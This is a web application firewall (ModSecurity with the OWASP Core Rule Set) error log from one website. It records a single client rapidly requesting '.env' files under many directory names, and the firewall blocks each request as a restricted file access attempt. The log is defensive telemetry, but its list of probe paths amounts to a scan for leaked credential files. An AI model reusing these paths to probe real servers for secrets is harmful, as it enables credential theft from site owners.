[Mon Oct 26 14:54:32.522124 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at-h6LJoBe2aZMAtY1nEQQAAAA8"]
[Mon Oct 26 14:54:32.522906 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at-h6GzmSpSsBytZ44hiDgAAAAg"]
[Mon Oct 26 14:54:32.523080 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at-h6GzmSpSsBytZ44hiDgAAAAg"]
[Mon Oct 26 14:54:32.523300 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at-h6GzmSpSsBytZ44hiDgAAAAg"]
[Mon Oct 26 14:54:32.532054 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at-h6CE-ZP4qhScpL9OPGQAAAAU"]
[Mon Oct 26 14:54:32.543774 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at-h6CE-ZP4qhScpL9OPGQAAAAU"]
[Mon Oct 26 14:54:32.544304 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at-h6CE-ZP4qhScpL9OPGQAAAAU"]
[Mon Oct 26 14:54:32.543608 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:33098] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /data/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at-h6GjM5XERzcmv0SW_qwAAAAs"]
[Mon Oct 26 14:54:32.545571 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:33098] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at-h6GjM5XERzcmv0SW_qwAAAAs"]
[Mon Oct 26 14:54:32.545785 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:33098] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at-h6GjM5XERzcmv0SW_qwAAAAs"]
[Mon Oct 26 14:54:32.850884 2026] [security2:error] [pid 3084020:tid 3084020] [client 34.39.215.232:33112] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at-h6LL9QjyjajVBwlSNCQAAACA"]
[Mon Oct 26 14:54:32.851131 2026] [security2:error] [pid 3084020:tid 3084020] [client 34.39.215.232:33112] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at-h6LL9QjyjajVBwlSNCQAAACA"]
[Mon Oct 26 14:54:32.851376 2026] [security2:error] [pid 3084020:tid 3084020] [client 34.39.215.232:33112] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at-h6LL9QjyjajVBwlSNCQAAACA"]
[Mon Oct 26 14:54:32.852451 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /common/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at-h6Po8w19imigfk0t9rgAAABg"]
[Mon Oct 26 14:54:32.852629 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at-h6Po8w19imigfk0t9rgAAABg"]
[Mon Oct 26 14:54:32.852857 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at-h6Po8w19imigfk0t9rgAAABg"]
[Mon Oct 26 14:54:32.863749 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:33074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at-h6KFL9aMETz-8AU8c_gAAAAQ"]
[Mon Oct 26 14:54:32.863906 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:33074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at-h6KFL9aMETz-8AU8c_gAAAAQ"]
[Mon Oct 26 14:54:32.864138 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:33074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at-h6KFL9aMETz-8AU8c_gAAAAQ"]
[Mon Oct 26 14:54:32.865230 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:33130] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pkg/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at-h6HtG0gh1_iD5Sux2HwAAAAw"]
[Mon Oct 26 14:54:32.865374 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:33130] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at-h6HtG0gh1_iD5Sux2HwAAAAw"]
[Mon Oct 26 14:54:32.865581 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:33130] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at-h6HtG0gh1_iD5Sux2HwAAAAw"]
[Mon Oct 26 14:54:32.866393 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at-h6GzmSpSsBytZ44hiDwAAAAg"]
[Mon Oct 26 14:54:32.866535 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at-h6GzmSpSsBytZ44hiDwAAAAg"]
[Mon Oct 26 14:54:32.866740 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at-h6GzmSpSsBytZ44hiDwAAAAg"]
[Mon Oct 26 14:54:32.867383 2026] [security2:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33062] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pipeline/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at-h6PEWMevIOUAFFIb9ngAAAB4"]
[Mon Oct 26 14:54:32.867507 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at-h6A7tQS1M73WECjKQqQAAAAY"]
[Mon Oct 26 14:54:32.867618 2026] [security2:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33062] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at-h6PEWMevIOUAFFIb9ngAAAB4"]
[Mon Oct 26 14:54:32.867637 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at-h6A7tQS1M73WECjKQqQAAAAY"]
[Mon Oct 26 14:54:32.867885 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at-h6A7tQS1M73WECjKQqQAAAAY"]
[Mon Oct 26 14:54:32.867973 2026] [security2:error] [pid 3084018:tid 3084018] [client 34.39.215.232:33062] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at-h6PEWMevIOUAFFIb9ngAAAB4"]
[Mon Oct 26 14:54:32.869146 2026] [security2:error] [pid 3084007:tid 3084007] [client 34.39.215.232:33010] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /utils/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at-h6BrehvC7c7rdooIrVgAAABs"]
[Mon Oct 26 14:54:32.869378 2026] [security2:error] [pid 3084007:tid 3084007] [client 34.39.215.232:33010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at-h6BrehvC7c7rdooIrVgAAABs"]
[Mon Oct 26 14:54:32.869743 2026] [security2:error] [pid 3084007:tid 3084007] [client 34.39.215.232:33010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at-h6BrehvC7c7rdooIrVgAAABs"]
[Mon Oct 26 14:54:32.870906 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at-h6OwhFnyxLKqf5CkqfwAAAB0"]
[Mon Oct 26 14:54:32.871104 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at-h6OwhFnyxLKqf5CkqfwAAAB0"]
[Mon Oct 26 14:54:32.871407 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at-h6OwhFnyxLKqf5CkqfwAAAB0"]
[Mon Oct 26 14:54:32.872469 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at-h6LJoBe2aZMAtY1nEQgAAAA8"]
[Mon Oct 26 14:54:32.872628 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at-h6LJoBe2aZMAtY1nEQgAAAA8"]
